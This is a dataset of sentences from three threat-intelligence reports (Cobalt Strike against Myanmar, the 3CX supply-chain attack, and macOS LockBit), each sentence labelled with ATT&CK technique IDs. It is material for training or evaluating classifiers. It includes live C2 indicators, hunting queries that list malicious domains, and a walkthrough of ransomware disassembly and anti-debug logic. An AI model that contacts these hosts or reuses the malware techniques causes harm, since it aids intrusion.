{"sentence": "The following ClamAV signatures have been released to detect this threat: Win.", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "CobaltStrike-9909816-0 Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org. IOCs Hashes 658d550322cefa6efc51fbfd1a3e02839d1e519a20f8f17f01c534c0eaf36f27 e806e55713b9e46dc7896521ffb9a8b3abaa597147ea387ff2e93a2469546ba9 a0aec3e9cb3572a71c59144e9088d190b4978056c5c72d07cb458480213f2964 Network IOCs Hosts test[.]softlemon[.]net dark-forest-002.president[.]workers[.]dev IP addresses 193[.]135[.]134[.]124 URLs hxxp://test[.]softlemon[.]net:8081/api/3 hxxp://test[.]softlemon[.]net/ tcp://test[.]softlemon[.]net:8080/ hxxps://193[.]135[.]134[.]124:8443 hxxp://193[.]135[.]134[.]124:8080 hxxp://193[.]135[.]134[.]124:8081", "labels": [], "doc_title": "Attackers use domain fronting technique to target Myanmar with Cobalt Strike"}
{"sentence": "Sophos X-Ops is tracking a developing situation concerning a seeming supply-chain attack, possibly undertaken by a nation-state-related group.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "This page provides an overview of the situation, a threat analysis, information for hunters, and information on detection protection.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "We will update this page as events and understanding develop, including our threat and detection guidance.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "[Latest version published 23:00 UTC 01-April-23, adding Troj/Steal-DLG to Detection Protections/Static detection, two more queries customers may use to determine their exposure to the attack, new analysis of an emergent line of inquiry concerning a timestamp mechanism in the malicious code, and information on analysis of other Electron-built apps using ffmpeg.dll 23:30 UTC 30-March-23, adding detail on affected versions, misuse of ffmpeg.dll, removal of malicious repository, comparison of PE shellcode loader to that used by Lazarus threat group, more queries customers may use to determine their exposure to the attack, and various additional detections] Overview The affected software is 3CX – a legitimate software-based PBX phone system available on Windows, MacOS, Linux, Android, and iOS.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "Some Windows and MacOS versions of the application have been abused by the threat actor to add an installer that communicates with various command-and-control (C2) servers.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "The software is a digitally signed version of the softphone desktop client for both Windows and MacOS, which includes a malicious payload.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "According to 3CX, their Update 7 for Windows, version numbers 18.12.407 and 18.12.416, and Electron Mac App version numbers 18.11.1213, 18.12.402, 18.12.407 and 18.12.416, are affected.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "The most common post-exploitation event we have observed to date is the presence of an infostealer that targets the browser(s) on a compromised system.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "At this writing, 3CX has deprecated the affected versions of the Windows application.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "At present, the only platforms confirmed by our customer data to be affected are Windows and MacOS, which is in agreement with 3CX’s information on affected platforms.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "According to information on their support forum, Android and iOS versions of the software are not believed to be affected.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "Threat analysis On March 22, users of 3CX began discussion of potential false-positive detections of 3CXDesktopApp by their endpoint security agents.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "Figure 1: The update process at the moment the malicious version drops Sophos MDR first identified malicious activity directed at its own customers and stemming from 3CXDesktopApp on March 29, 2023.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "Additionally, Sophos MDR has observed the campaign leveraging a public file storage to host encoded malware.", "labels": ["T1027"], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "This repository has been in use since December 8, 2022; after news of the compromise spread widely on March 29, the repository was taken down.", "labels": ["T1574.002"], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "The attack revolves around a DLL sideloading scenario, one with a remarkable number of components involved.", "labels": ["T1574.002"], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "This is likely to ensure that customers were able to use the 3CX desktop package without noticing anything unusual about the affected package.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "We have identified three crucial components: 3CXDesktopApp.exe, the clean loader d3dcompiler_47.dll, a DLL with an appended encrypted payload ffmpeg.dll, a Trojanized loader Figure 2 presents a high-level look at the attack flow as it works in Windows; there are some minor variations in the later steps with the MacOS version.", "labels": ["T1027"], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "Figure 2: A high-level view of the attack flow The file ffmpeg.dll contains an embedded URL which retrieved a malicious encoded .ico payload from GitHub file storage at https[:]//raw.githubusercontent.com/IconStorages/images/main/ — though, again, once news of the compromise spread widely, this repository was taken down.", "labels": ["T1027"], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "We saw several variations on the ffmpeg.dll file, including one that was signed by 3CX’s own certificate; these appear to be maliciously patched versions of the legitimate ffmpeg.dll.", "labels": ["T1036.005"], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "In a statement on Thursday, the team responsible for ffmpeg’s source code took pains to distance their work from the 3CX compromise.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "Figure 3: When ffmpeg stepped onto Twitter to defend its code In a normal DLL sideloading scenario, the malicious loader (ffmpeg.dll) would replace the clean dependency; its only function would be to queue up the payload.", "labels": ["T1574.002"], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "However, in this case, that loader is also entirely functional, as it would normally be in the 3CX product – instead, there’s an additional payload inserted at the DllMain function.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "This adds bulk, but may have lowered suspicions – the abused 3CX application functions as expected, even as the Trojan addresses reached out to the C2 beacon.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "As part of our analysis, we also did a comparison of the ffmpeg.dll in 3CX with the same file in other Electron apps.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "Our analysis has shown only the 3CX ffmpeg.dll contains the malicious code.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "We conclude from this that this compromise does not affect other Electron apps — only the 3CX ffmpeg.dll. Figure 4: What the affected 3CX developers and customers experienced Allowing the abused software to remain functional is not dissimilar to other DLL sideloading cases we’ve seen, but this campaign is slightly different even from the current rash of DLL sideloading cases we’ve seen.", "labels": ["T1574.002"], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "In particular, we’ve noted that the PE shellcode loader in use is unique in our experience.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "Previous to this, we’ve only seen it in incidents attributed to the Lazarus group; the code in this incident is a byte-to-byte match to those previous samples.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "TimeStamp Check Analysis As part of our ongoing investigation, we found a timestamp mechanism in the code as shown below.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "Figure 5: A timestamp mechanism in the code Looking at this, we can see a while loop that calls the check_timestamp function and receives a 64-bit integer value from GetSystemTimeAsFileTime Api call.", "labels": ["T1106"], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "The results of check_timestamp are evaluated against “v6,” a variable which holds the value coming from cbData.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "cbData is collected from the “manifest” file as shown below.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "Figure 6: Collecting the cbData “manifest” is a file that the malware writes to the system under the “3cxdesktopapp” folder during the initial stage of the infection.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "When the manifest is created, a dword value is written based on the current timestamp, with additional arithmetic operations performed on it.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "The above code checks if manifest exists and is writeable; if so, then it adds 7 days + the current system timestamp + rand() generated number % 21 days.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "In other words, the value be up to a total of 28 days ahead.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "Otherwise, it just reads the existing value from the manifest file.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "So long as the results of check_timestamp are less than v6 (the timestamp value from manifest), the loop continues to sleep.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "Only once the results of check_timestamp are greater than the manifest timestamp will the code proceed and generate the HTTP request to connect with GitHub, which initiates the payload download.", "labels": ["T1071.001", "T1105"], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "Hunting information Determining impact with Sophos XDR 1.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "Determining whether hosts have communicated with threat actor infrastructure:", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "Data Lake The below query will search for hosts that have communicated with the various known URLs in use by this campaign.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "SELECT meta_hostname, sophos_pids, domain, clean_urls, source_ips, destination_ips, timestamps, ingestion_timestamp FROM xdr_data WHERE query_name = 'sophos_urls_windows' AND (LOWER(domain) LIKE '%akamaicontainer[.]com%' OR LOWER(domain) LIKE '%akamaitechcloudservices[.]com%' OR LOWER(domain) LIKE '%azuredeploystore[.]com%' OR LOWER(domain) LIKE '%azureonlinecloud[.]com%' OR LOWER(domain) LIKE '%azureonlinestorage[.]com%' OR LOWER(domain) LIKE '%dunamistrd[.]com%' OR LOWER(domain) LIKE '%glcloudservice[.]com%' OR LOWER(domain) LIKE '%journalide[.]org%' OR LOWER(domain) LIKE '%msedgepackageinfo[.]com%' OR LOWER(domain) LIKE '%msstorageazure[.]com%' OR LOWER(domain) LIKE '%msstorageboxes[.]com%' OR LOWER(domain) LIKE '%officeaddons[.]com%' OR LOWER(domain) LIKE '%officestoragebox[.]com%' OR LOWER(domain) LIKE '%pbxcloudeservices[.]com%' OR LOWER(domain) LIKE '%pbxphonenetwork[.]com%' OR LOWER(domain) LIKE '%pbxsources[.]com%' OR LOWER(domain) LIKE '%qwepoi123098[.]com%' OR LOWER(domain) LIKE '%sbmsa[.]wiki%' OR LOWER(domain) LIKE '%sourceslabs[.]com%' OR LOWER(domain) LIKE '%visualstudiofactory[.]com%' OR LOWER(domain) LIKE '%zacharryblogs[.]com%' OR (LOWER(domain) LIKE '%raw.githubusercontent[.]com%' AND LOWER(clean_urls) LIKE '%/iconstorages/images/main/%'))", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "2. Determining whether hosts have interacted with malicious files SELECT f.filename, f.directory, ROUND((f.size * 10e-7),2) AS size_MB, h.sha256, f.type, f.attributes, f.mode, datetime(f.btime,'unixepoch') AS file_created_time, datetime(f.atime,'unixepoch') AS file_last_access_time, datetime(f.mtime,'unixepoch') AS file_last_modified_time, datetime(f.ctime,'unixepoch') AS file_last_status_change_time, f.uid, u.username AS file_owner FROM file f LEFT JOIN users u ON f.uid = u.uid LEFT JOIN groups g ON f.gid = g.gid LEFT JOIN hash h ON f.path = h.path", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "WHERE f.path like 'c:\\users\\%\\appdata\\local\\programs\\3cxdesktopapp\\app\\%'", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "AND (f.filename = 'ffmpeg.dll' OR f.filename LIKE 'd3dcompiler%.dll' OR f.filename = 'trololo.dll')", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "AND (h.sha256 = 'c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02' OR h.sha256 = '11be1803e2e307b647a8a7e02d128335c448ff741bf06bf52b332e0bbf423b03' OR h.sha256 = '7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896' OR h.sha256 = 'aa4e398b3bd8645016d8090ffc77d15f926a8e69258642191deb4e68688ff973')", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "3.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "Determining whether hosts are running affected versions SELECT MIN(ingestion_timestamp) AS first_seen, MAX(ingestion_timestamp) AS last_seen, meta_hostname, ARRAY_JOIN(ARRAY_AGG(DISTINCT(meta_hostname)), ', ')", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "AS hosts, ARRAY_JOIN(ARRAY_AGG(sophos_pid),', ')", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "AS spids, LOWER(name) AS name, sha256, company_name, file_description, file_size, file_version, original_filename FROM xdr_data WHERE query_name = 'running_processes_windows_sophos' AND ( LOWER(name) = '3cxdesktopapp.exe' OR LOWER(original_filename) = '3cxdesktopapp.exe' OR LOWER(product_name)", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "='3cx desktop app')", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "GROUP by meta_hostname, LOWER(name), sha256, company_name, file_description, file_size, file_version, original_filename ORDER BY meta_hostname desc 4.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "Determining whether hosts have communicated with threat actor infrastructure, for MacOS SELECT meta_hostname, date_format(from_unixtime(time), '%Y-%m-%d", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "%H:%i:%s')", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "AS date_time, ingestion_timestamp pid, name, cmdline, path, parent, gid, uid, euid, egid, sha1, sha256 FROM xdr_data WHERE query_name = 'running_processes_osx_events' AND LOWER(cmdline) LIKE '%sh -c%' AND LOWER(cmdline) LIKE '%/3cx desktop app/updateagent%' 5.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "Enabling firewall customers to identify activity to malicious domains SELECT timestamp, log_component, log_subtype, user_name, user_group, app_name, src_ip, src_port, protocol, dst_ip, dst_port, http_category, url, domain, http_user_agent, http_status FROM xgfw_data WHERE LOWER(log_component) = 'http' AND (LOWER(domain) = 'akamaicontainer.com' OR LOWER(domain) = 'akamaitechcloudservices.com' OR LOWER(domain) = 'azuredeploystore.com' OR LOWER(domain) = 'azureonlinecloud.com' OR LOWER(domain) = 'azureonlinestorage.com' OR LOWER(domain) = 'dunamistrd.com' OR LOWER(domain) = 'glcloudservice.com' OR LOWER(domain) = 'journalide.org' OR LOWER(domain) = 'msedgepackageinfo.com' OR LOWER(domain) = 'msstorageazure.com' OR LOWER(domain) = 'msstorageboxes.com' OR LOWER(domain) = 'officeaddons.com' OR LOWER(domain) = 'officestoragebox.com' OR LOWER(domain) = 'pbxcloudeservices.com' OR LOWER(domain) = 'pbxphonenetwork.com' OR LOWER(domain) = 'pbxsources.com' OR LOWER(domain) = 'qwepoi123098.com' OR LOWER(domain) = 'sbmsa.wiki' OR LOWER(domain) = 'sourceslabs.com' OR LOWER(domain) = 'visualstudiofactory.com' OR LOWER(domain) = 'zacharryblogs.com' OR (LOWER(domain) LIKE '%raw.githubusercontent.com%' AND LOWER(url) LIKE '%/iconstorages/images/main/%'))", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "Enabling firewall customers to identify user agents of compromised version of 3cx SELECT timestamp, log_component, log_subtype, user_name, user_group, app_name, src_ip, src_port, protocol, dst_ip, dst_port, http_category, url, domain, http_user_agent, http_status FROM xgfw_data WHERE LOWER(log_component) = 'http' AND ( LOWER(http_user_agent) LIKE '%3cxdesktopapp/18.12.402%' OR LOWER(http_user_agent) LIKE '%3cxdesktopapp/18.12.416%' OR LOWER(http_user_agent) LIKE '%", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "3cxdesktopapp/18.12.407%' OR LOWER(http_user_agent) LIKE '%3cxdesktopapp/18.11.1213%' OR LOWER(http_user_agent) LIKE '", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "%3cxdesktopapp/18.11.1197%' )", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "We also recommend that users of 3CX’s software continue to monitor the company’s communications channels; they have a blog and also a support-and-information forum.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "As of March 30, the company was recommending that customers uninstall and reinstall the app, and suggested that they might also use the company’s browser-based PWA client while the situation was sorted out.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "On March 31, 3CX noted that Google has invalidated the company’s previous signing certificate, which means both the originally infected MSI files plus files issued by 3CX earlier in the week using that certificate will be blocked, and issued a fresh one.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "3CX at this writing is building entirely new MSI installers using the newly issued certificate.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "This applies to Windows only, as the company states they will not be rebuilding the Mac version of the desktop app yet while they focus on the Windows version (and on the security breach in general).", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "An updated list of IOCs for this attack is published on our GitHub.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "Detection protection SophosLabs has blocked the malicious domains and published the following detections: Static detections: Troj/Loader-AF (Trojanized ffmpeg.dll) Troj/Mdrop-JTQ (installers) Troj/Steal-DLG OSX/Mdrop-JTR (installers) OSX/Loader-AG (Trojanized ffmpeg.dll) Reputation detection: Mal/Generic-R / Mal/Generic-S (d3dcompiler with appended shellcode) Memory detection: We have also blocked the list of known C2 domains associated with the threat and will continue to add to that list in the IOC file on our GitHub, as noted above.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "Finally, the two malicious versions of the ffmpeg.dll bundled in the affected 3CXapplication are flagged by their hashes as being of low reputation.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "SophosLabs is actively investigating additional detection opportunities for activity stemming from this software.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "In addition, for customers of Sophos MDR, the MDR Detection Engineering team has a variety of behavioral detections in place that will detect follow up activity.", "labels": [], "doc_title": "Update 2 3CX users under DLLsideloading attack What you need to know"}
{"sentence": "The LockBit ransomware (kinda) comes for macOS Analyzing a arm64 mach-O version of LockBit by: Patrick Wardle / April 16, 2023 Objective-See's research, tools, and writing, are supported by the \"Friends of Objective-See\" such as: :memo: :alien_monster: Want to play along?", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "As “Sharing is Caring” I’ve uploaded the malicious binary LockBit to our public macOS malware collection.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "The password is: infect3d ...please though, don't infect yourself!", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Background Late Saturday (April 15the), @MalwareHunterTeam tweeted about a new LockBit ransomware variant targeting macOS: As shown in the tweet, the ransomware binary initially was undetected by any of the anti-virus engines on VirusTotal: locker_Apple_M1_64 on VirusTotal (image credit: @MalwareHunterTeam)", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Good news, if you refresh the page on VirusTotal the av engines are now starting to pick up the file as malicious.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Shortly after @MalwareHunterTeam’s tweet, the fine folks of @vxunderground added their thoughts and shared samples: The relevance of this macOS specimen is well articulated in VXUnderground’s tweet: “Lockbit ransomware group has created their first MacOS-based payload.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "We believe this is the first time a large ransomware threat group has developed a payload for Apple products.”", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "-VXUnderground", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Ok, so even though it’s the weekend, we have what appears to be a new macOS malware specimen from one of the more notorious ransomware gangs!", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Coupled with the fact that this may be, (as noted by @VXUnderground), “the first time a large ransomware threat group has developed a payload for Apple products” …I was intrigued to decided to dig right in!", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "In this blog post we’ll tear apart the sample, showing that ultimately, while yes it can indeed run on Apple Silicon, that is basically the extent of it’s impact.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Thus macOS users have nothing to worry about …for now!", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Triage The (SHA-1) hash for the binary (aptly named locker_Apple_M1_64) is 9e9a5f8d86356796162cee881c843cde9eaedfb3 While we're only focusing on the macOS sample, it appears the LockBit group has built this sample for a host of other OS's: Using macOS’s file utility, we see the locker_Apple_M1_64 binary is an x86_64 (Intel) Mach-O: % file LockBit/locker_Apple_M1_64 LockBit/locker_Apple_M1_64: Mach-O 64-bit executable arm64 And what about it’s code signing information?", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Let’s take a peek via macOS’s codesign and spctl utilities:", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "% codesign -dvv", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "LockBit/locker_Apple_M1_64 Executable=LockBit/locker_Apple_M1_64 Identifier=locker Format=Mach-O thin (arm64) CodeDirectory v=20400 size=3295", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "flags=0x20002(adhoc,linker-signed) hashes=100+0 location=embedded Signature=adhoc Info.plist=not bound TeamIdentifier=not set Sealed Resources=none Internal requirements=none % spctl -a -vvv", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "-t install LockBit/locker_Apple_M1_64 LockBit/locker_Apple_M1_64: invalid signature (code or signature have been modified)", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "The codesign utility shows that though it’s signed, it’s signed “ad-hoc” (say vs. an Apple Developer ID).", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "This means if downloaded to a macOS system (i.e. deployed by the attackers) macOS won’t let it run.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "This is confirmed by the spctl utility which shows “invalid signature” …or if you’re brave enough to try run it: An invalid signature means macOS will block it Let’s now run the strings command (with the \"-\" option which instructs it to scan the whole file), we find a few strings that appear to be related to standard ransomware activity including: Encryption File Extensions Ransom instructions % strings - -n 3 locker_Apple_M1_64 curve25519xsalsa20poly1305 blake2b blake2b_final blake2b-ref.c sodium_crit_enter _sodium_malloc /dev/urandom /dev/random ...", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "cmd ani adv msi msp com nls ocx mpa cpl mod hta prf rtp rdp bin shs wpx bat rom msc spl ics key exe dll ... restore-my-files.txt ... winmd ntldr ntuser.dat.log bootsect.bak autorun.inf thumbs.db iconcache.db Also interesting are the strings related to Windows artifacts (e.g. autorun.inf, ntuser.dat.log, etc…).", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "This may indicate the ransomware was originally written to target Windows platforms.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "This wraps up our triage of the locker_Apple_M1_64 binary.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Time to dive in deeper with our trusty friends: the disassembler and debugger!", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Analysis of locker_Apple_M1_64 In this section we’ll more deeply analyze the malicious logic of the locker_Apple_M1_64 binary …which is simplified by the fact that the binary’s symbols aren’t stripped.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "(So function and method names are left intact ….yay!)", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "First, we pointed out that the locker_Apple_M1_64 is an arm64 binary (Mach-O 64-bit executable arm64).", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "This means we better have at least a cursory understanding of AArch64.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "If you’re not familiar with this instruction set, here’s two of my favorite resources to get you up to speed: Opening the malware in a disassembler, (starting at its main) we spot some (fairly common) anti-debugging logic: main ... 000000010000b108 bl imp___stubs__getppid 000000010000b10c mov x1, x0 000000010000b110 mov w0, #0x1f 000000010000b114 mov x2, #0x0 000000010000b118 mov w3, #0x0 000000010000b11c bl imp___stubs__ptrace 000000010000b120 cmn w0, #0x1 In short, this snippet of code invokes ptrace with PT_DENY_ATTACH (0x1f) which will kill the process if a debugger is currently attached, and also prevent future attachments.", "labels": ["T1055"], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "As we’ll want to debug the malware to gain a deeper understanding of its functionality, we’ll have to bypass this.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Good news, this is trivial!", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Just set a breakpoint on the address of the call to ptrace (b 0x000000010000b11c), and once this is hit, simply skip over the call by modifying the instruction pointer to point it to the next instruction (reg write $pc 0x000000010000b120).", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Since the call to ptrace will now be skipped, we’re free to debug to our hearts content.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "% lldb locker_Apple_M1_64 (lldb) target create \"locker_Apple_M1_64\" Current executable set to 'locker_Apple_M1_64' (arm64).", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "(lldb) b 0x10000b11c (lldb) r * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1 locker_Apple_M1_64`main: -> 0x10000b11c", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "+72>: bl 0x1000429cc ; symbol stub for: ptrace (lldb) reg write $pc 0x10000b120", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Next the malware copies a chunk of encrypted data (size: 0x2468 bytes) from a variable named apple_config to a variable named g_Config.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "000000010000b128 adr x21, #0x10005908c ;g_Config 000000010000b12c nop 000000010000b130 adr x1, #0x100058008 ;apple_config 000000010000b134 nop 000000010000b138 mov x0, x21 000000010000b13c mov w2, #0x2468 000000010000b140 bl imp___stubs__memcpy", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "The apple_config variable is noteworthy as this is the only instance (I found) of any macOS specific references / customizations.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "(The rest of the malware’s binary simple looks like Linux code, compiled for macOS).", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Next, we find an XOR loop that decrypts this configuration.", "labels": ["T1027", "T1140"], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "000000010000b144 mov x8, #0x0 000000010000b148 mov w9, #0x2458 loc_10000b14c: 000000010000b14c and x10, x8, #0xf 000000010000b150 ldrb w10, [x21, x10] 000000010000b154 add x11, x21, x8 000000010000b158 ldrb w12, [x11, #0x10] 000000010000b15c eor w10, w12, w10 000000010000b160 strb w10, [x11, #0x10] 000000010000b164 add x8, x8, #0x1 000000010000b168 cmp x8, x9 000000010000b16c b.ne loc_10000b14c Once de-XOR’d we find a few strings as \"!!!", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "-Restore-My-Files-!!!", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "\", \"VMware vCenter Server\", and XP_SP;Win10.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "Clearly, nothing relating to macOS specifically …in fact more indications this code is simply a recompile of (pieces of?)", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "LockBit’s ransomware that targets Windows/Linux, and also VMware ESXi.", "labels": [], "doc_title": "The LockBit ransomware kinda comes for macOS"}
{"sentence": "The malware then initializes various global variables, either with hard-coded values, or from the decrypted configuration (now held in g_Config).", "labels": ["T1140"], "doc_title": "The LockBit ransomware kinda comes for macOS"}
